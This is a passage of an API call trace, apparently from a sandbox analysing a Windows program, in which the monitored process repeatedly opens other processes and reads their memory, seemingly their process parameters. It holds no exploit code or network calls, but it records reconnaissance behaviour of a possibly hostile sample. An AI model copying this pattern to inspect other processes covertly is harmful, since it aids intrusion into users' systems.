_ArgList=0x670f7c528 | out: _Buffer="3748") returned 4 [0271.258] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.258] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.287] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xea4) returned 0x464 [0271.287] GetLastError () returned 0x0 [0271.288] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.289] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.291] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.291] malloc (_Size=0x72) returned 0x196ef0d31b0 [0271.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.292] free (_Block=0x196ef0d31b0) [0271.293] CloseHandle (hObject=0x464) returned 1 [0271.293] _ui64tow_s (in: _Value=0xeac, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0271.298] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3756") returned 4 [0271.299] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.299] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.316] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x464 [0271.316] GetLastError () returned 0x0 [0271.317] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.317] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.317] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.347] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.349] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.349] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.349] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.349] malloc (_Size=0x5a) returned 0x196ef0d0370 [0271.349] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46194a, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0271.350] free (_Block=0x196ef0d0370) [0271.351] CloseHandle (hObject=0x464) returned 1 [0271.352] _ui64tow_s (in: _Value=0xec4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3780") returned 0x0 [0271.356] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3780") returned 4 [0271.358] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.358] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.381] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec4) returned 0x464 [0271.381] GetLastError () returned 0x0 [0271.399] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.399] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.399] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.400] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.400] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.401] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.402] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.403] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.403] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.403] malloc (_Size=0x66) returned 0x196ef0d03e0 [0271.403] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501956, lpBuffer=0x196ef0d03e0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0271.404] free (_Block=0x196ef0d03e0) [0271.404] CloseHandle (hObject=0x464) returned 1 [0271.464] _ui64tow_s (in: _Value=0xecc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3788") returned 0x0 [0271.469] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3788") returned 4 [0271.471] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.471] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xecc) returned 0x464 [0271.501] GetLastError () returned 0x0 [0271.502] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.502] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.502] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.502] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.502] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.504] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.505] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.506] malloc (_Size=0x74) returned 0x196ef0d31b0 [0271.506] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.506] free (_Block=0x196ef0d31b0) [0271.520] CloseHandle (hObject=0x464) returned 1 [0271.521] _ui64tow_s (in: _Value=0xedc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3804") returned 0x0 [0271.526] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3804") returned 4 [0271.527] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.527] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.544] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xedc) returned 0x464 [0271.545] GetLastError () returned 0x0 [0271.545] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.545] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.546] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.546] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.546] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.547] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.549] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.549] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.549] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.549] malloc (_Size=0x4a) returned 0x196ef100920 [0271.549] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x48193a, lpBuffer=0x196ef100920, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100920*, lpNumberOfBytesRead=0x0) returned 1 [0271.550] free (_Block=0x196ef100920) [0271.551] CloseHandle (hObject=0x464) returned 1 [0271.551] _ui64tow_s (in: _Value=0xee4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0271.627] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3812") returned 4 [0271.629] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.629] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.659] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x464 [0271.659] GetLastError () returned 0x0 [0271.660] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.660] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.660] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.660] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.661] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.679] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.680] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.680] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.681] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.681] malloc (_Size=0x64) returned 0x196ef0d0680 [0271.681] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491954, lpBuffer=0x196ef0d0680, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0271.682] free (_Block=0x196ef0d0680) [0271.682] CloseHandle (hObject=0x464) returned 1 [0271.683] _ui64tow_s (in: _Value=0xef4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3828") returned 0x0 [0271.690] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3828") returned 4 [0271.692] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.692] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.716] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x464 [0271.717] GetLastError () returned 0x0 [0271.717] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.717] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.717] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.718] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.718] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.720] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.721] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.722] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.722] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.722] malloc (_Size=0x68) returned 0x196ef0d0370 [0271.722] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511958, lpBuffer=0x196ef0d0370, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0271.723] free (_Block=0x196ef0d0370) [0271.724] CloseHandle (hObject=0x464) returned 1 [0271.724] _ui64tow_s (in: _Value=0xefc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3836") returned 0x0 [0271.731] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3836") returned 4 [0271.733] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.733] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.751] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xefc) returned 0x464 [0271.751] GetLastError () returned 0x0 [0271.752] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.752] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.752] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.753] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.753] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.754] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.756] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.756] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.756] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.757] malloc (_Size=0x86) returned 0x196ef0fa960 [0271.757] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1976, lpBuffer=0x196ef0fa960, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa960*, lpNumberOfBytesRead=0x0) returned 1 [0271.757] free (_Block=0x196ef0fa960) [0271.758] CloseHandle (hObject=0x464) returned 1 [0271.759] _ui64tow_s (in: 